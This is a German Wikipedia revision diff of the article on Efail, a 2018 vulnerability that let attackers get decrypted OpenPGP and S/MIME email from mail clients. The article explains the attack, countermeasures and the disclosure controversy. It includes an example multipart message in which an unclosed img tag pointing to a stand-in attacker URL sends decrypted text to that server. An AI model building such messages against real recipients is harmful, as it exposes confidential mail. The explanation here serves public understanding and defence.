„Efail“ – Versionsunterschied

aus Wikipedia, der freien Enzyklopädie
Zur Navigation springen Zur Suche springen
[ungesichtete Version][gesichtete Version]
Inhalt gelöscht Inhalt hinzugefügt
K Efail in Thunderbird geschlossen
Nicht Relevant
Zeile 70: Zeile 70:
# Unterdrückung des automatischen Nachladens externer Inhalte, wie z. B. Bilder.
# Unterdrückung des automatischen Nachladens externer Inhalte, wie z. B. Bilder.
Inwiefern auch die Absender verschlüsselter Inhalte die Angreifbarkeit vermindern können, z. B. durch [[elektronische Signatur]]en oder die Beschränkung auf eine Teilmenge der [[Multipurpose Internet Mail Extensions|MIME]]-Formate, ist noch nicht abschließend geklärt.
Inwiefern auch die Absender verschlüsselter Inhalte die Angreifbarkeit vermindern können, z. B. durch [[elektronische Signatur]]en oder die Beschränkung auf eine Teilmenge der [[Multipurpose Internet Mail Extensions|MIME]]-Formate, ist noch nicht abschließend geklärt.

Am 03. Juli 2018 wurde für [[Mozilla Thunderbird]] ein Update veröffentlicht, wodurch Efail als Sicherheitslücke geschlossen wurde.<ref>{{Internetquelle |url=https://www.thunderbird.net/en-US/thunderbird/52.9.0/releasenotes/ |titel=Thunderbird — Release Notes (52.9.0) |zugriff=2018-07-04 |sprache=en-US}}</ref>


== Kritik ==
== Kritik ==

Version vom 4. Juli 2018, 19:51 Uhr

EFAIL

Typ Software
CVE-Nummer(n)

CVE-2017-17688 , CVE-2017-17689

Datum der Entdeckung 24. November 2017
Datum der Veröffentlichung 13. Mai 2018
Produkt(e)

E-Mail-Programme, OpenPGP, S/MIME

Efail (Eigenschreibweise: EFAIL) ist eine Sicherheitslücke in E-Mail-Systemen, mit denen Inhalte verschlüsselt übertragen werden können. Durch diese Lücke können Angreifer bei aktiven Inhalten wie HTML oder JavaScript und bei aktivierten automatischen Nachladen von externen Inhalten im E-Mail-Programm Zugriff auf die entschlüsselten Inhalte einer E-Mail bekommen. Die Sicherheitslücke wurde von Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky und Jörg Schwenk am 13. Mai 2018 als Beitrag zum 27th USENIX Security Symposium, Baltimore, August 2018, eingereicht und öffentlich gemacht.

In Folge der Sicherheitslücke kann der Inhalt einer angegriffenen verschlüsselten E-Mail durch verwundbare E-Mail-Clients im Klartext an den Angreifer übertragen werden. Die verwendeten Schlüssel werden nicht preisgegeben.

Beschreibung

Die Sicherheitslücke betrifft viele gängige E-Mail-Programme, wenn diese in Kombination mit den E-Mail-Verschlüsselungs-Systemen OpenPGP und S/MIME verwendet werden. Die Efail-Lücke liegt dabei nicht in den Verschlüsselungssystemen selbst, sondern besteht darin, dass die Verschlüsselung umgangen wird, indem das E-Mail-Programm dazu gebracht wird, den Klartext an den Angreifer zu senden.

Ein Angreifer benötigt Zugriff auf die angegriffene E-Mail-Nachricht in ihrer verschlüsselten Form, sowie die Möglichkeit, mindestens einem regulären Empfänger dieser E-Mail eine E-Mail zu senden. Zusätzlich muss der Client externe HTML-Quellen innerhalb der E-Mail zulassen, was bei vielen Clientanwendungen per Voreinstellung nicht erfolgt. Um die Lücke auszunutzen, verändert der Angreifer die verschlüsselte E-Mail und bringt dadurch das E-Mail-Programm des Empfängers dazu, den entschlüsselten Inhalt der E-Mail an den Angreifer zu senden.

Zum Zugriff auf den entschlüsselten Inhalt einer verschlüsselten E-Mail verändert der Angreifer die E-Mail auf eine bestimmte Art und sendet die veränderte E-Mail anschließend an einen der regulären Empfänger.

Er fügt dazu vor und nach dem verschlüsselten Text weiteren Text in die verschlüsselte E-Mail ein und verändert damit die Nachricht so, dass zum Einen eine mehrteilige Nachricht nach dem MIME-Standard (multipart/mixed) entsteht und zum Anderen der verschlüsselte Teil der Nachricht gemeinsam mit den Grenzmarkierungen der MIME-Nachricht als Parameterwert eines HTML-Tags auftaucht:

Beispiel
modifizierte S/MIME-Nachricht
[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url
--BOUNDARY
Content-Type: application/pkcs7-mime;
  s-mime-typed-envelope-data
Content-Transfer-Encoding: base64

ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE
--BOUNDARY
Content-Type: text/html

">
--BOUNDARY
...

Der E-Mail-Client zerlegt zunächst die mehrteilige Nachricht anhand der --BOUNDARY-Markierungen in ihre Einzelteile und entschlüsselt anschließend die verschlüsselten Teile. Anschließend setzt er die mehrteilige Nachricht wieder zusammen, und erhält so:

[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url
GEHEIMENACHRICHTGEHEIMENACHRICHT">
--BOUNDARY
...

In dieser Nachricht steht nun der entschlüsselte Inhalt der E-Mail im src=-Attribut des <img>-HTML-Tags und wird vom E-Mail-Programm beim Anfordern dieses Inhalts als URL an den vom Angreifer kontrollierten Webserver attacker.chosen.url übergeben. Der Angreifer kann nun den Inhalt der verschlüsselten Nachricht bspw. aus den Logdateien entnehmen.

In einer Variante des Angriffs nutzt der Angreifer eine Schwachstelle in den Betriebsarten CBC (S/MIME) und CFB (OpenPGP) der verwendeten Verschlüsselungsalgorithmen. Diese erlaubt ihm, den Ciphertext durch das Einfügen von sog. Gadgets zu verändern, als Nebenwirkung dieser Manipulation wird der ursprünglich enthaltene Klartext unleserlich. Sofern dieser bekannt war, kann der Angreifer dies aber durch das Einfügen weiterer Gadgets korrigieren. Unbekannten Klartext kann der Angreifer durch das Einfügen bestimmter HTML-Attribute kaschieren. In der Folge entsteht eine Nachricht mit ähnlicher Struktur wie oben beschrieben.

Gegenmaßnahmen

Da die Sicherheitslücke sich gegen den Inhalt der E-Mail richtet, und nicht gegen den Empfänger, ist es notwendig, dass alle Empfänger die Gegenmaßnahmen umsetzen. Dazu zählen:

  1. Deaktivierung aktiver Inhalte wie HTML oder JavaScript bei der E-Mail-Anzeige.
  2. Unterdrückung des automatischen Nachladens externer Inhalte, wie z. B. Bilder.

Inwiefern auch die Absender verschlüsselter Inhalte die Angreifbarkeit vermindern können, z. B. durch elektronische Signaturen oder die Beschränkung auf eine Teilmenge der MIME-Formate, ist noch nicht abschließend geklärt.

Kritik

In der Ankündigung der Sicherheitslücke am 13. Mai 2018 hat die Electronic Frontier Foundation (EFF) empfohlen, komplett auf PGP-Plugins in E-Mail-Programmen zu verzichten, obwohl die Schwachstelle dabei nicht bei PGP, sondern in der Konfiguration der eingesetzten E-Mail-Programme liegt.[1][2] Die Veröffentlichung hätte abgestimmt erst am 15. Mai erfolgen sollen. Dieses Vorgehen wurde vielfach kritisiert bzw. kontrovers diskutiert.[3][4][5][6] In sozialen Netzwerken hat sich ein Shitstorm gegen die EFF entwickelt.[7]

In einem Essay empfiehlt Robert Hansen eine geschlossene Gruppe, z. B. in Form einer Mailingliste, einzurichten, um zukünftige Veröffentlichungen von Sicherheitslücken im Vorfeld besser koordinieren zu können. Trotz seiner Verärgerung über die EFF, sieht er diese als bestes Organ an, eine solche "OpenPGP Disclosure Group" zu verwalten, und spricht konkret deren Direktor, Danny O'Brien, an.[8]

Literatur

  • Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky und Jörg Schwenk: Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels. (englisch, efail.de [PDF]).

Einzelnachweise

  1. EFF on Twitter. In: Twitter. 13. Mai 2018 (englisch, twitter.com [abgerufen am 17. Mai 2018]): “To protect yourself, EFF highly recommends that for now you uninstall or disable your PGP email plug-in.”
  2. Danny O'Brien and Gennie Gebhart: Attention PGP Users: New Vulnerabilities Require You To Take Action Now. Hrsg.: Electronic Frontier Foundation. 13. Mai 2018 (englisch, eff.org [abgerufen am 17. Mai 2018]).
  3. heise online: Kommentar: Efail ist ein EFFail. 16. Mai 2018, abgerufen am 17. Mai 2018.
  4. heise Security: Enigmail-Chefentwickler im Interview: Efail-Veröffentlichung war "unüberlegt". 15. Mai 2018, abgerufen am 17. Mai 2018.
  5. Werner Koch (OpenPGP): Efail or OpenPGP is safer than S/MIME. In: gnupg-users. 14. Mai 2018, abgerufen am 17. Mai 2018 (englisch).
  6. Matthew Green: Was the Efail disclosure horribly screwed up? In: A Few Thoughts on Cryptographic Engineering. 17. Mai 2018 (englisch, cryptographyengineering.com [abgerufen am 17. Mai 2018]).
  7. Hashtag #EFFail auf Twitter. Abgerufen am 17. Mai 2018.
  8. Robert Hansen: Efail: A Postmortem. In: medium.com. 20. Mai 2018, abgerufen am 21. Mai 2018.